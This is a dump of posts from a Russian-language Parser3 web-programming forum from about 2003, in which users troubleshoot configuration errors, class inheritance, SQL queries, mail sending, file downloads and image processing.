[Fri Oct  3 16:41:51 2003] /: /var/wwwhost/local/blah/auto.p(560:2): '/usr/lib/libparser3mysql.so' can not open the module, /usr/lib/libparser3mysql.so: undefined symbol: __gxx_personality_v0 [<no type>]\
\
строка 560 из .../blah/auto.p\
^connect[$connect_string]{$code}"
"21639","в HEAD я боролся с потенциальными подобными проблемами.\
возможно, мои попытки были неудачны, попробуйте их выключить, воспользовавшись\
[code]\
configure ... --with-dynamic-stdcpp\
[/code]"
"21641","А где, собственно, можно скачать CVS-репозиторий? :-)"
"21642","Примерно тоже самое было, да и есть аналогичное. Только у меня это было еще в 7й версии и индеец с бородой.\
Оставил пока пробелы да и забыл уже. Надо глянуть."
"21643","Прописывать сие надо в auto.p, а вызывать из index.html через ^greeting[]."
"21645","Такой вопросик:\
у меня DocumentRoot \"/home\"\
на сервере DocumentRoot \"/www/www.somesite.fatal.ru/site\"\
\
пытаюсь сделать обработку в auto.p таким образом:\
______________________________________________________\
          ^if(in \"/www/www.somesite.fatal.ru/site/\"){\
          	$root[/www.somesite.fatal.ru/site]	\
          }\
          {\
          	$root[/home]	\
          }\
______________________________________________________\
\
Потом в хтмл-файлах вместо корневого каталога упоминаю $root\
Это работает только в корневом каталоге, может как-нибудь по другому сделать?"
"21646","А $root[$env:DOCUMENT_ROOT] разве на fatal.ru не работает?"
"21647","Эта байда появляется при попытке проверить работу примера из статьи \"Урок 6. Работаем с XML\".\
\
В корневом auto.p:\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
]\
...\
\
.../charsets присутствуют.\
Что бы это значило?.."
"21648","Как бы придумать способ хранить хэш или отдельные переменные, содержащие фразы на русском, например, языке. Для того, чтобы мультиязычность удобно организовать. Пишем, к примеру, $say.hello, она выдает \"Привет\".\
А вот так в файле локализации:\
[code]\
$say[\
    $.hello[Привет]\
]\
[/code]\
Вся проблема в том, что если добавляю класс с новыми фразами, то добавляю и фразы для него. Подсоединив 2 файла локализации с хэшем $say, ессно получим только первый из них работающим. Остальное даже рассматриваться Парсером не будет. А мне хочеца, чтоб скопировал новый файл с фразами, подсоединил и использовал через тот-же $say. Или через какой-нибудь специальный механизм, но чтоб в любом месте выдавать фразы из любого существующего хэша с фразами. \
\
Бьюсь уже неделю, не бьется...\
\
Единственно, что похоже на работающий вариант, так это держать фразы в переменных, а потом специальным методом подключать эти файлы с кучей переменных:\
[code]\
@CLASS\
lang\
\
@auto[]\
^use[/alerts.p]\
[/code]\
А в alerts.p написать просто\
[code]\
@auto[]\
$hello[Привет]\
[/code]\
\
А потом попробовать вызвать $lang:hello.\
\
Как-то странно... Чего-то тут не то...\
Может кто подскажет, как поступил бы он?"
"21649","Можно закэшировать грамотно такую страницу, а потом при ошибке Явой пригласить вернуться исправить."
"21650","Спасибо за помощь! Разобрался."
"21652","Если бы я мог отказаться, я бы не мучался. В том то и дело, что очень нужно!"
"21653","Может, хранить фразы в .cfg файле, а при необходимости - грузить в таблицу и конвертить в хэш..."
"21654","Я конечно ламер но я \
не могу работать с классами, в auto.p указываю \
$CLASS_PATH[z:/home/pars.ru/www/classes]\
а сервер выдает сообщение об ошибке:\
\
\
z:/home/pars.ru/www/gbook/index.html(26:1): 'USE ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
exception.type=parser.compile"
"21655","В принципе, можно реализовать и таким способом, главное - объединить все переменные в одну сущность (или нельзя так обзываться?) и потом дергать оттудова!"
"21656","http://www.parser.ru/faq/errors/"
"21657","Можно как-нибудь не то что средствами Парсера (даже боюсь тупо спрашивать, умеет ли он САМ), но хотя бы Перлом распаковывать zip?\
Наверняка же есть библиотеки какие-нибудь... Спрашиваю, потому что не нюхал даже никогда этого Перла."
"21658","Если подключить много ненужных классов через ^use[], то повлияет ли это на быстродействие? Выделяется ли память для хранения их содержимого, или в процессе поиска методов всяких они \"распаковываются\" в оперативу?"
"21659","Доступна под огромное количество платформ в исходниках и скомпилированная: http://www.ctan.org/tex-archive/tools/zip/info-zip/UnZip.html\
Можно ещё модуль для перла поставить, а можно и прямо из парсера запустить."
"21660","Оператор ^use[file] равно как и @USE естественно дает команду парсеру считать и откомпилировать классы и методы, находящиеся в файле. Очевидно, что это делается в памяти. \
\
Другое дело, что при использовании @USE это делается при сборке программы [статически], а ^use[] во время выполнения [динамически]. В доке это все достаточно понятно описано."
"21661","Т.е. мне придется для каждого сервера подбирать пакет? Можно кроссплатформенный какой-нибудь найти?"
"21663","Их там штук 30: под Линухи, Фряхи и все остальное, даже под ДОСю. Это исполняемые бинарники, а есть еще исходники на Си. А мне в принципе срипт нужен. Так я такого там не нашел."
"21664","Реально ли сделать так чтобы страница \"цепляла\" свой контент из базы, не прописывая в каждом auto.p переменные с адресом контента или именем страницы и тп. Т.е нужен универсальный код для всех страниц. Каталоги - стандартно: /news/, /company/ и тд.\
=Заранее благодарен="
"21665","Можно написать (хоть динамически) простой скрипт типа такого, положить в cgi-bin и ^file::exec-ать его\
#!/bin/sh\
echo Content-type: text/plain\
echo\
cd ../www/куда надо\
gunzip -c file.tar.gz | tar xvf - \
(или любая твоя строчка для любого удобного архиватора)\
\
Для винды, соответственно, настраивается обработчик"
"21666","Даже нуна. Пишешь в auto.p корня:\
[code]\
@main[]\
<html>\
<head>\
....\
</head>\
<body>\
# Выбираешь тут все что нужно:\
^switch[$request:uri]{\
    ^case[/news]{\
         select from news как-то там.\
    }\
    ^case[/company]{\
         select from company как-то там.\
    }\
}\
# обрабатываешь, получаешь.\
</body>\
</html>\
[/code]\
\
Это самое первое, что приходит в голову. Может, еще лучше мона, но об этом тебе корифеи расскажут (если хорошо попросишь)."
"21667","Понял лишь, что не дорос еще до ехеков. Пока без них проживем, потом научусь."
"21668","Зачем скрипт? Берём исполняемый бинарник для системы, под которой работает проект и запускаем его, см. http://www.parser.ru/docs/lang/filecgiexec.htm\
Только запускаем не script.pl, а unzip"
"21669","А вообще можно добовлять html код sections.cfg? Я его туда засунул, все работает, но слышал, что это не правильно, кода там не должно быть"
"21670","Большое спасибо! Воспользоваться этим я врядли смогу(слишком много страниц и лень каждый раз а автоП писать), но зато вы мне идею подкинули с [$request:uri]..Можно \"отрезать\" от него фичу с http://www.la-la-la.ru.. вобщем до корня, а по тому что осталось цеплять контент из базы. При создании же новой страницы пробивать соответствующий ей путь от корня в базу..Может и поизящнее варианты найдутся.."
"21671","method of void (stateless_class) accepts maximum 1 parameter(s)\
sql\
\
z:/home/asha/www/classes/session.p(174)\
\
\
[code]\
^void:sql{UPDATE users SET ^if{def $form:password){pass = '^math:crypt[$form:password;^$apr1^$]'}^if(def $form:name){,}\
   ^if(def $form:name){name = '$form:name'}^if(def $form:o_name){,}\
   ^if(def $form:o_name){o_name = '$form:o_name'}^if(def $form:f_name){,}\
   ^if(def $form:f_name){f_name = '$form:f_name'}^if(def $form:e_mail){,}\
   ^if(def $form:e_mail){e_mail = '$form:e_mail'}\
  }\
[/code]"
"21672","...надо определиться\
1) кто хозяин\
2) как ему удобно\
\
и сделать выводы\
\
зы: У меня пока случается так, что html там не требуется."
"21674","Как обойти все папки в директории?\
Вот этот код обходит ветку, но только по первой попавшейся папке...\
\
[code]\
@main[]\
^getDir[/]\
\
\
@getDir[path]\
$list[^file:list[$path;]] \
^list.menu{\
	^if(-d \"${path}$list.name\"){\
		${path}$list.name<br>\
		^getDir[${path}$list.name/]\
	}\
\
}\
[/code]\
\
в итоге хочу получить список всех файлов во всех папках...\
\
Может кто делал?"
"21675","1) сделать можно, switch весьма помогает(на первых порах). Замена - резать $request:uri на части для определения раздела и просто забирать из базы материал для нужного раздела.\
2) не пойму - зачем много страниц? сайт(без админского интерефейса) можно сделать на 2-х файлах: auto.p + index.html(на форуме есть идеи)\
или невозможно использовать mod_rewrite(win-host), тогда уже не ко мне."
"21676","Имеем: \
\
1. 2 класса - Class1 и Class2\
2. Class2 потомок Class1\
3. В классе Class1, в конструкторе, определяется поле класса test, которое получается путём вызова метода ^lang[]\
4. Метод ^lang[] определён в базовом классе Class1 и перегружается в классе потомке (Class2)\
5. В классе потомке (Class2) работа метода зависит от поля $flag\
6. Поле класса $flag не может быть известно в Class1\
\
Код:\
[b]test.html[/b]:\
[code]\
@USE\
/class1.p\
/class2.p\
\
@main[]\
$objClass1[^class1::init[]]\
$objClass2[^class2::init[]]\
\
Поле test формируется вызовом ^^lang^[^] и:<p/>\
\
Полеtest класса Class1 - $objClass1.test<br/>\
Поле test класса Class2> - $objClass2.test<p/>\
Однако вызов ^^lang^[^] в Class2  даёт - ^objClass2.lang[]\
[/code]\
Класс [b]Class1:[/b]\
[code]\
@CLASS\
class1\
\
@init[]\
$test[^lang[]]\
\
@lang[]\
$result[ru]\
[/code]\
Класс [b]Class2:[/b]\
[code]\
@CLASS\
class2\
\
@USE\
/class1.p\
\
@BASE\
class1\
\
@init[]\
^BASE:init[]\
$flag(1)\
\
@lang[]\
^if($flag){\
	$result[en]\
}{\
	$result[^BASE:lang[]]\
}\
[/code]\
\
В test.html выводится:\
[code]\
Поле test формируется вызовом ^lang[] и:\
\
Поле test класса Class1 - ru\
Поле test класса Class2 - ru\
\
Однако вызов ^lang[] в Class2 даёт - en\
[/code]\
А я хочу так:\
[code]\
Поле test формируется вызовом ^lang[] и:\
\
Поле test класса Class1 - ru\
Поле test класса Class2 - en\
\
Однако вызов ^lang[] в Class2 даёт - en\
[/code]\
\
Вопрос - как разорвать замкнутый круг?"
"21677","code ... /code меняется на аналогичное но в псевдотегах"
"21680","Class2:\
[code]\
...\
@init[]\
$flag(1)\
^BASE:init[]\
...\
[/code]\
\
но я делаю иначе (ПАФ предложил)\
1. некую переменную с даными, в которой данные могут меняться ($test) всегда определяю в конструкторе базового класса $test[^hash::create[]]\
2. конструктор пишет в эту переменную данные, но не инициализирует заново переменную (^test.add[$.id(1)] а не не $test[$.id(1)])\
3. при таком раскладе данная переменная видна всем."
"21681","1. мне кажется, делать такой UPDATE и не указывать WHERE не правильно\
2. пытаться делать такой запрос когда не определены ни одна из переменных из формы - получиль ошибку\
3. если хоть одна переменная определена, то по моему лучше сделать так:\
[code]\
^if(def $form:password || def $form:name || def $form:o_name || def $form:f_name || $form:e_mail){\
	^void:sql{\
		UPDATE\
			users\
		SET\
			e_mail = ^if(def $form:e_mail){e_mail}\
			^if{def $form:password){, pass = '^math:crypt[$form:password;^$apr1^$]'}\
			^if(def $form:name){, name = '$form:name'}\
			^if(def $form:o_name){, o_name = '$form:o_name'}\
			^if(def $form:f_name){, f_name = '$form:f_name'}\
		WHERE\
			...\
	}\
}\
[/code]"
"21682","на http://www.parser.ru/docs/lang/?statusrusage.htm непонятное место, такое ощущение, что нету переменной, которая описана:\
Точное системное время. Позволяет оценить траты времени на ожидание ответа от SQL-, HTTP-, SMTP-"
"21683","пример использования можно посмотреть в методе rusage библиотеки lib.p (есть в примерах)."
"21684","Знаю что обсуждалась она не однократно, но я хочу вернуться к ней еще раз уже с эстетической стороны или со стороны юзабилити, как угодно.\
\
Вопрос: что можно еще сделать для удобства использования дерева?\
\
К примеру, мы выводим информацию о папках как дерево.\
\
1) дерево должно выводиться свернутым (только корневые папки);\
2) дерево должно выводиться развернутым (полностью);\
3) дерево должно выводиться развернутым частично (для отмеченных папок);\
4) в случае если корневая папка одна, выводить дерево полностью развернутым (ибо непонятно что это дерево);\
5) если папка имеет вложения, помечать ее знаками: + если ветвь закрыта, и - если открыта;\
6) информацию о папках передавать через метод form или cookie, кому как удобно;\
7) вместе с собственными параметрами, передавать через form все другие параметры.\
\
Если у кого есть свои мысли по этому вопросу, напишите...\
\
Первые шаги сделаны, [url=\"http://www.spearance.ru/parser3/tree/\"]дерево построено[/url]. Все остальное будет появляться по ходу спектакля."
"21685","Это работает. Усложняем задачу - Поле $flag формируется на базе полей определённых [b]только[/b] в базовом классе:\
\
Class1:\
\
[code]\
@CLASS\
class1\
\
@init[]\
$hashFlag[\
	$.flag(1)\
]\
$flag(0)\
$test[^lang[]]\
\
@lang[]\
$result[ru]\
[/code]\
Class2\
[code]\
@CLASS\
class2\
\
@USE\
/class1.p\
\
@BASE\
class1\
\
@init[]\
^BASE:init[]\
$flag(^makeFlag[])\
\
@lang[]\
^if($flag){\
	$result[en]\
}{\
	$result[^BASE:lang[]]\
}\
\
@makeFlag[]\
$result($hashFlag.flag)\
[/code]\
\
В этом случае при таком конструкторе Class2\
[code]\
@init[]\
^BASE:init[]\
$flag(^makeFlag[])\
[/code]\
\
Вывод такой (как и в прошлой задаче):\
\
[code]\
Поле test формируется вызовом ^lang[] и:\
\
Поле test класса Class1 - ru\
Поле test класса Class2 - ru\
\
Однако вызов ^lang[] в Class2 даёт - en\
[/code]\
\
А при шаманстве:\
\
[code]\
@init[]\
$flag(^makeFlag[])\
^BASE:init[]\
[/code]\
\
Ещё и перестаёт работать ^lang[] в производном классе:\
[code]\
Поле test формируется вызовом ^lang[] и:\
\
Поле test класса Class1 - ru\
Поле test класса Class2 - ru\
\
Однако вызов ^lang[] в Class2 даёт - ru\
[/code]"
"21686","а чего тут непонять - при попытке писать в примерах кода HTML имеющий что-то в тегах code - угловые скобки тегов, меняются на квадратные и пример коцается."
"21688","если стоит задача: создать извращение которое не будет работать, то эта задача тут сделана достойно :)\
\
ты пишешь, что:\
[quot]\
Поле $flag формируется на базе полей определённых только в базовом классе\
[/quot]\
\
да, замечательно, но при чем тут $flag, когда в приведенном тобой коде $test формируется на основе $flag определенного в базовом классе? в момент вызова конструктора базового класса ($test создаем именно в нем) $flag еще равен 0.\
\
если бы я понял, какую задачу ты пытаешься решить, может я и подсказал что-либо.\
\
а пока могу предложить только одно:\
$flag(^defineFlag[])\
\
или, как я уже предлагал постом выше..."
"21689","Возможно ли использование тегов типа <li>, <br>, <nobr> и т.д. в теле ячейки cfg документа?"
"21690","connect to smtp.domain.ru:25 failed\
send\
\
z:/home/asha/www/classes/forum.p(154)\
exception.type=smtp.connect \
\
\
Код, первую строку считать 154\
\
[code]\
	^mail:send[ \
      $.from[Mail Robot Forum asha.pp.ru <ForumRobot@asha.pp.ru>] \
      $.to[Олег <olegski@yandex.ru>]\
      ^if(def $eml.email){$.bcc[^eml.menu{$eml.email}[,]^if(def $eml.email && $eml_reg_user.e_mail){,}^if(def $eml_reg_user.e_mail){^eml_reg_user.menu{$eml_reg_user.e_mail}[,]}]}\
      $.subject[$form:title] \
      $.text[$text\
http://asha.pp.ru/forum/?tred=$tred] \
]\
[/code]\
\
\
Что делать?"
"21694","помогите настроить MySQL,\
пока я заметил, что русский текст неправильно сортируется, символ 'ь' не воспринимается"
"21696","\"бинарник для системы, под которой работает проект\" - я про то и говорю: для каждого конфига нужен свой бинарник. А кроссплатформенностью тут и не пахнет, потому что именно бинарник.\
Конечно, наверняка не существует универсального решения для любой платформы."
"21697","В том то и прелесть, что не нужно каждый auto.p писать для директорий. Достаточно 1 в корне. все вложенные директории будут юзать его.\
А насчет вариантов - то и правда удобнее конечна резать адресную строку, но я вам не советую - слишком мудрено и таким чайникам, как я и вы это не к чему."
"21698","А \"истинная\" кроссплатформенность - у поборников Java и .NET"
"21699","В том-то и дело, что админ-интерфейс будет!\
И страницы будут отличаться по функциям и порядку формирования контента (например новости по запросу, галерея.. много всего планируется.. а усложнять не хотелось бы. пока я чайник).. И к стати ещё дурацкий вопрос: можно ли выполнить парсерный код, подцепив его из файла (базы) в виде текста ?"
"21700","никак нельзя увеличиит?\
\
у меня база большая, более 2000 записей,\
при выводе всех записей скрипт загибается.\
с чем это может быть связано? если с ограничением\
на время работы скрипта, нельзя ли убрать это ограничение?"
"21701","[quot]\
у меня база большая, более 2000 записей,\
[/quot]\
\
это маленькая база\
\
[quot]\
при выводе всех записей скрипт загибается.\
[/quot]\
\
выводить можно по разному. можно рекурсивно - скрипт загнется, можно в menu - не загнется (см. фак)\
в любом случае выводить 2000 записей на страницу за раз - не лучший вариант.\
\
[quot]\
если с ограничением на время работы скрипта, нельзя ли убрать это ограничение?\
[/quot]\
\
ограничения по времени выполнения в самом парсере нет. обратись в своему администратору. он мог поставить ограничение в системе."
"21703","Не знаю, что делать:\
\
###########################\
Unhandled Exception (Debug)\
(void) not a method or junction, can not call it\
\
if \
\
q:/home/pars/www/news/auto.p(57)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
if q:/home/pars/www/news/auto.p(57)\
for q:/home/pars/www/news/auto.p(56)\
menu q:/home/pars/www/news/auto.p(54)\
\
###########################\
\
А вот сам код:\
\
###########################\
54|^days.menu{ \
55|   <tr> \
56|      ^for[week_day](0;6){ \
57|         ^if($days.$week_day){^if ( $days.$week_day == 58|$now.day ){\
###########################"
"21705","однако был вопрос."
"21709","test.zip"
"21712","повлияет. parser компилирует подключаемый файл сразу, не откладывая."
"21713","mod_rewrite"
"21714","вы точно знаете, что количество файлов/каталогов не будет расти бесконтрольно?"
"21716","Paf, предлагаю заменить в дистрибутиве парсера @unhandled_exception на такой:\
\
[code]@unhandled_exception[exception;stack]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
	<head>\
		<title>Internal server error</title>\
		<style><!--\
			h2 {border-bottom: dotted 1px #ccc^; margin-top: 20px^; color: #900}\
			li {list-style-type: square}\
		--></style>\
	</head>\
	<body>\
		<H2>Ошибка в коде Parser</h2>\
		<h3>Сообщение об ошибке:</h3>\
		<pre>^untaint[html]{$exception.comment}</pre>\
		^if(def $exception.source){\
			<h3>Ошибку вызвал этот фрагмент кода:</h3>\
			<tt>$exception.source</tt>\
			<h3>Ошибка произошла при работе с файлом:</h3>\
			<pre>^untaint[html]{\
				<tt>${exception.file}</tt>, строка номер <b>$exception.lineno</b>\
			}</pre>\
		}\
		^if(def $exception.type){\
			$parser_error_types[^table::create{type	explanation\
parser.compile	в вашем коде ошибка - вы забыли поставить пару какой-нибудь скобке, забыли поставить \"птичку\" перед знаком \"^;\" или ещё что-то. Будьте внимательнее. \
parser.runtime	методу передано неправильное количество параметров (нигде, часом, не забыли поставить \"птичку\" перед знаком \"^;\", где он не несёт специального значения) или не тех типов, и т.п. Возможно, где-то опечатка в названии стандартной функции или в её использовании. Внимательно перепроверьте ваш код.\
parser.interrupted	загрузка страницы прервалась (пользователь остановил загрузку страницы или истекло время ожидания).\
number.zerodivision	вы пытаетесь заставить Parser поделить что-то на ноль, а он не умеет.\
number.format	вы пытаетесь преобразовать к числу нечисловые данные (например, \"Людовик XIV\" в \"14\" Parser преобразовать никогда не сумеет).\
file.missing	вы пытаетесь получить доступ к файлу, которого нет или он на деле называется не так, как вы думаете (может быть, вы перепутали регистр? или заменили английскую букву в имени русской?)\
file.access	у парсера нет прав на доступ к этому файлу.\
image.format	файл изображения имеет неправильный формат (возможно, расширение имени не соответствует содержимому, или файл пуст?)\
sql.connect	сервер баз данных не может быть найден или временно недоступен или же ему просто не нравятся ваши логин с паролем.\
sql.execute	произошла ошибка исполнения SQL запроса. Там точно нет никаких опечаток? В таблице, к которой вы обращаетесь, есть все нужные столбцы? Может быть, база данных была повреждена? Или кончилось место на диске и сервер базы данных не может дальше правильно работать? \
xml	в вашем коде XML ошибки, или вы пытаетесь выполнить над XML недопустимую операцию.\
smtp.connect	SMTP сервер (сервер для отправки почты) не может быть найден или временно недоступен.\
smtp.execute	произошла ошибка отправки письма по SMTP протоколу (проверьте, не \"упал\" ли сервер, принимает ли он от вас письма, и не вмешивается ли в процесс слишком бдительный антивирус).\
email.format 	у вас ошибка в email адресе: адрес пустой или содержит неправильные символы.\
email.send	произошла ошибка запуска почтовой программы (у вас точно sendmail правильно работает? Спросите у администратора сервера).\
http.host	искомый сервер не найден.\
http.connect	сервер, к которому вы обращаетесь, найден, но не принимает соединений.\
http.response	сервер, к которому вы обращаетесь, был найден, соединение принял, но выдал некорректный ответ (нет статуса, заголовка)\
http.status	Cервер выдал ответ со статусом, не равным 200 (не успешное выполнение запроса). Может быть, статус - уже давно как \"404 Page not found\"?...\
http.timeout	Parser не успел выкачать документ с HTTP-сервера в отведенное время. Попробуйте увеличить параметр timeout или сделать что-то с каналом связи с интернетом.}]\
\
		<p>Тип ошибки: <b>$exception.type</b>\
			^if(^parser_error_types.locate[type;$exception.type]){ \
   		 		(Это означает, что\
  		 		 		$parser_error_types.explanation\
		  		) \
			} \
		</p>\
		}\
		^if($stack){\
			<h3>Последовательность операций, которая привела к ошибке:</h3>\
			(от самой последней вверху списка до самой первой внизу)\
			<ul>\
				^stack.menu{\
					<li><tt>$stack.name</tt> $stack.file^($stack.lineno^)</li>\
				}\
			</ul>\
			\
		}\
		^for[i](0;512/6){\
			&nbsp^;\
		}\
	</body>\
</html>[/code]Куда человечнее и понятнее -> меньше глупых вопросов в форуме."
"21718","Сделал тут опечатку в коде, а parser на ней вылетает с [i]\"exception in request exception handler: Exception 0xC0000005 at 0x00443CD6\"[/i], а не показывает внятного объяснения.\
\
Написал в коде [b]${$sqlpage.doc_id}[/b], а надо было [b]${sqlpage.doc_id}[/b] ($sqlpage - таблица, вытащенная select'ом из БД)"
"21719","И, кстати, \"рОстим\" это сознательная ошибка или это действительно правильное русское написание ?"
"21720","1) я еще обычно указываю кол-во элементов (не папок) в [] после названия папки, а если есть только папки, то можно указать кол-во папок.\
2) бывает что папок верхнего уровня слишком много (> 30) и все тормозит, поэтому папки верхнего уровня я обычно выделяю в отдельную страницу.\
\
по остальному, уточнить хочу, задумка то какая: пример в real-time или какой-то проект ?"
"21721","Где оно будет собираться в realtime или нет не важно, главное чтобы с помощью него можно было найти то что надо."
"21723","И на чем же все закончилось?\
Вот, столкнулся с той же проблемой. При выборке пустых таблиц выдает сабж. и дублирует текстом в вывод все запросы к БД на модификацию. Помнится, последний баг вылезал как-то и в Parser 2.0 (по поиску не нашел) и вроде там дело было в модуле клиента MySQL, только вот в чем оно состояло?\
Короче, может кто сталкивался и знает как лечить?"
"21725","[code]\
^dbconnect{\
  $table[^table::sql{select id, title from news limit 2}]\
}\
$table.title\
[/code]\
выдает то, что ожидается, а\
[code]\
^dbconnect{\
  $table[^table::sql{select id, title from news limit 1}]\
}\
$table.title\
[/code]\
уже выдает exception \"column not found\". :(\
Реально в таблице news 5 записей с указанными выше и другими полями, Parser 3.1, Linux 2.4.18, MySQL 3.23.36.\
Такое впечатление, что limit был применен не только к строкам, но и к столбцам. :)\
\
PS: Замена \" limit 1}\" на \"}[$.limit(1)]\" дает тот же результат."
"21726","по-моему, дело в том, что люди не склонны читать сообщения об ошибках вообще. \
\
они склонны писать в форум «у меня не работает» без указания текста ошибки, кода, номера строчки, ожидаемого результата, получаемого результата.\
\
чтобы усилия не пропали даром, если хотите, разместим ссылку на архив с этой штукой в разделе download?\
\
предлагаю только отложить табличку с описаниями ошибок в отдельный файл."
"21727","поднимать архив и копаться не хотелось бы.\
возможно, у вас есть возможность и не лень компильнуть из исходников в CVS|HEAD и проверить?"
"21728","у вас с каким драйвером проблема?"
"21729","Parser 3.1+Xml, работает с MySQL. Вебсервер - apache, ос - win2000 prof sp1 eng"
"21730","стоит 3.1 HEAD, есть выборка, но без лимита там по условию плучается выбор одного поля - все пашет"
"21732","Подскажите, пожалуйста, как лучше поступить, чтобы реализовать подсчёт кол-ва скачиваний файла с сайта и обновременно реализовать возможность его докачки (например ReGet-ом).\
Или это в принципе невозможно, когда файл лежит вне веб-пространства, т.е. напрямую его скачать нельзя.\
\
И сразу же ещё один вопрос:\
если файл будет лежать, например, в каталоге\
/download/1.zip\
(т.е. напрямую его можно будет скачать)\
и у меня будет примерно такой скрит /download.html\
[code]\
@main[]\
$response:body[^file::load[binary;/download/1.zip]]\
[/code]\
\
то будет ли поддерживаться в этом случае докачка?"
"21734","Раскраска синтаксиса Парсера.\
http://www.parser.ru/examples/pcolorer/"
"21735","Я его на досуге под себя переколбасю, можно?"
"21737","Мы это уже проходили, на меня даже было заведено уголовное дело (без шуток), ничего, выкрутился. Так что суд не страшен вроде :)"
"21739","Например вместо Answer message on www.parser.ru forum я хочу видеть чего-нить по-русски."
"21741","В темах письма - Answer message on www.parser.ru forum, совсем неуместно, на русскоязычном форуме."
"21742","[code]\
^если(1<2){ура}\
[/code]\
а за сценой\
[code]\
@если[условие;код_да;код_нет]\
^if($условие){$код_да}{$код_нет}\
[/code]"
"21745","Если задавать поле subj по-русски, например, в koi или 1251, то возможны искажения кодировок subja при пересылке от сервера к серверу, так как по rfc в поле 'value' у хедера могут быть символы только 0-127. Все остальные в праве не быть переданными нормально. Часто так оно и случается, к сожалению."
"21746","«по RFC» это слишком расплывчато. уже лет пятьсот есть расширение к этим древним RFC.\
\
вы ещё напишите, что «вложений быть не может, а вообще все буквы в письме должны быть в [b]стандартной[/b] кодировке… ASCII!» ;)"
"21748","Кодировку и формат тела сообщения можно корректно понять из хедеров. А в какой русской кодировке должен быть subj?"
"21750","это не мешает наличию почтовых клиентов, авторы которых не читали этот RFC.\
соответственно, при forward проблемы.\
при просто доставке писем с такой проблемой я не встречался."
"21751",";-)"
"21752","... основанное на анализе содержимого моего почтового ящика.\
\
специально для mail.ru и inbox.ru предлагаю оформлять заголовки писем с ответами на сообщения примерно так:\
\
[code]Ans wermes sag eonwww.pa rser.r uforum  BA39BAB6340BE370[/code]\
\
иначе не дойдёт  =)"
"21753","[code]\
^if (\
[/code]\
теперь\
[code]\
.html(1:4): parse error, expecting `'['' or `'{'' or `'(''\
[/code]\
\
CVS|HEAD"
"21754","наверное субъективно, но можно еще выделять точки-разделители в вызове методов и полей, типа так:\
[code]^_makeComment[$lComB[color=\"red\"].[/color]1]^lComB[color=\"red\"].[/color]offset[color=\"red\"]([/color][color=\"black\"]1[/color][color=\"red\"])[/color][/code]\
а ещё можно выделять точку с запятой, если она внутри скобок и перед ней нету птички (типа разделитель параметров)"
"21756","но если файл вне вёб пространства - не прокатит..."
"21757","index.htm\
[code]\
<body>\
<a href=\"/download.html\" target=_blank>скачать</A>\
</body>\
[/code]\
\
\
/download.html \
[code]\
@main[]\
#делаем i++ в БД\
\
$response:location[http://www.mysite.ru/download/1.zip]]\
[/code]\
\
а новое открытое окно куда денется?\
как-то не эстетично получается :)\
\
\
или если я не прав в этом примере, то не поленитесь сделайте набросок примера, как это реализовать\
\
заранее спасибо!"
"21758","Надо написать договор по которому все нижде нажавшие кнопку, обязуются не задавать и неотвечать на следующие вопросы ...\
\
8)"
"21759","допустим есть страница www.domain.ru/download.html, на которой имеется список файлов для скачки. Нажимая на ссылку мы вызываем эту-же страницу (визуально - перезагружаем), как параметр URI передавая название файла или его идентификатор (в зависимости от реализации). Чтобы URI в строке адреса не поменялось, параметры можно передавать POST'ом (ссылка + javascript или кнопка \"скачать\" и формой). Страница получает параметр, прокручивает счетчик и выводится. Единственный момент - в header мы пишем:\
[code]$response:refresh[ \
   $.value[0] \
   $.url[http://www.domain.ru/download/1.zip] \
][/code]\
\
Возможно не все менеджеры \"схватят\" такую подачу, но тот что в Опере - запросто. Проверял."
"21760","Т.к. парсер не может создавать объект класса image на основе готового фона в формате jpg, png, только в gif.\
\
А нужно обрабатывать jpg файлы, может посоветуете чем? Слышал, что ImageMagick много с чем работает... а может ли он взять на себя работу по конвертированию или самим ImageMagick-ом вырезать кусок картинки 160х160 и сохранять?"
"21762","... по-моему не нужно. Точка [как и точка с запятой] сама по себе хорошо заметный разделитель и расцвечивать его смысла нет.\
\
p.s. С другой стороны исходник общедоступен..."
"21764","Господа, помогите! Что-то никак не соображу.\
\
Как мне сделать так, чтобы $f.size (которая, например 12345678) переколбасить в  12,345,678 ну и так далее. Большое спасибо!"
"21765","1) задать формат вывода http://www.parser.ru/docs/lang/intdoubleformat.htm;\
2) разобрать выражение с помощью regexp;\
3) разбить число split-ом, а потом склеить в переменной, подставив запятые (неэффективный вариант)."
"21766","1) Изменять размеры (есть в примерах)\
2) Конвертировать форматы\
3) Делать цветовые преобразования\
4) Накладывать эффекты (размытие, скручивание, ветер, шум, пастеризация и т.д.)\
5) Делать crop - вырезание части картинки\
6) Собирать анимационные GIF-ы и много чего еще...\
\
Описывайте конкретную задачу, постараюсь помочь в решении..."
"21767","Я конечно не специалист, но пока я не вижу смысла учить PHP, если есть Парсер, с котором гораздо удобней. В двух словах если можно скажите что такого может PHP, чего не может Парсер?:)"
"21768","Вообщем ищите его книжку \"Регулярные выражения\""
"21769","Пишут - http://www.parser.ru/faq/common/\
[quote]\
А поподробнее про отличия Parser от PHP (для специалистов)?\
Не претендуя на полноценный анализ:\
\
Parser макроязык, в нем нет оператора print, а синтаксис PHP похож на C. Поэтому Parser сам по себе готовый обработчик шаблонов, в PHP приходится использовать сторонние библиотеки\
В Parser поддержка UTF-8 интегрирована и прозрачна для разработчика, а в PHP это набор функций\
В Parser единый интерфейс для работы с серверами баз данных, включая blob поля, а в PHP для каждого сервера свой набор функций\
В Parser объектная технология активно используется в системных типах — строка это объект с методами, а в PHP есть просто набор функций для работы со строками.\
В Parser использовать XML и XSL проще, чем в PHP.\
В Parser есть системный тип таблица, а в PHP нет.\
В Parser встроены функции кеширования, а в PHP нет.\
В Parser повсеместно реализована автоматическая обработка пользовательского ввода — это когда например при формировании SQL запроса вам заменят ' на \\', а в PHP только зачатки этого подхода.\
[/quote]\
От себя:\
\
1. У парсера выше уровень, и следовательно выше производительность при кодировании.\
\
2. У парсера есть нормальный механизм обработки исключений, который обещает в php появиться только в 5-й версии.\
\
3. У парсера нормальная поддержка ООП, которая в php в лучшем случае рудиментарная, - например там есть только одноуровневое наследование и ещё много других ограничений.\
\
